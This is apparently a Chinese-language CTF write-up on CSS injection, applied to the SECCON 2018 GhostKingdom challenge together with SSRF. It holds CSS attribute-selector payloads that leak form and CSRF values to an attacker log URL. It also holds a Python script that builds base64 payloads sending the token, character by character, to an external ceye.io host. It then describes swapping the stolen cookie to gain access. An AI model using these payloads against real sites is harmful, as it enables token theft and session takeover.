<style><?php echo htmlspecialchars($_GET['x']);?></style> <br><br><br><br> <form action="http://example.com" id="form2"> <input type="text" id="secret" name="secret" value="abc"> <input type="hidden" name="csrf" value="afanti"> </form>
payload:
input[value^='a'] { background-image: url(http://localhost/css-improved/attacker/log.php/a); }
input[value^='ab'] { background-image: url(http://localhost/css-improved/attacker/log.php/ab); }
input[value^='abc'] { background-image: url(http://localhost/css-improved/attacker/log.php/abc); }
input[name="csrf"][value^="afanta"] {
background: url(http://localhost/css-improved/attacker/log.php/afanta);
}
input[name="csrf"][value^="afantb"] {
background: url(http://localhost/css-improved/attacker/log.php/afantb);
}
input[name='csrf'][value^='afanti'] {
background: url(http://localhost/css-improved/attacker/log.php/afanti);
}
當獲取的參數正確時,會發送一個get請求。
實例 css注入+ssrf:
第一個選項卡存在css注入
當發送數據的時候會發送如下數據包
http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=1111111111&action=msgadm2
c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9解碼span{background-color:red;color:yellow}在這里可以注入css
第二個選項卡存在ssrf
第三個選項卡提示需要本地網絡才能使用,嘗試發現通過 X-Forwarded-For
等 header 無效,說明需要ssrf結合css注入來模擬本地登陸。
- 通過 SSRF 訪問 http://0.0.0.0/?user=密碼&pass=賬號&action=login 在服務端登錄
- 通過 SSRF 訪問 http://0.0.0.0/?css=payload&action=msgadm2 觸發 XSS,逐個字節爆破你的 cookie
- 替換cookie就能upload image了
成功登陸
通過如下腳本生成Payload實現css注入
import base64 CHARLIST = "0123456789" + "abcdef" URL = "http://0/?msg=master&action=msgadm2&css=" # known = "" buf = "" for char in CHARLIST: buf += """input[name="csrf"][value^="{}"] {{ background: url(http://11.on1sw1.ceye.io/{}); }}""".format(known+char,known+char) print(URL + base64.b64encode(buf.encode('utf-8')).decode('utf-8'))
當注入成功就會將csrf的vlaue發到ceye上,將cookie替換就能有upload image功能。
參考鏈接
https://curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html
http://zeroyu.xyz/2018/10/29/SECCON-2018-Qualis-GhostKingdom/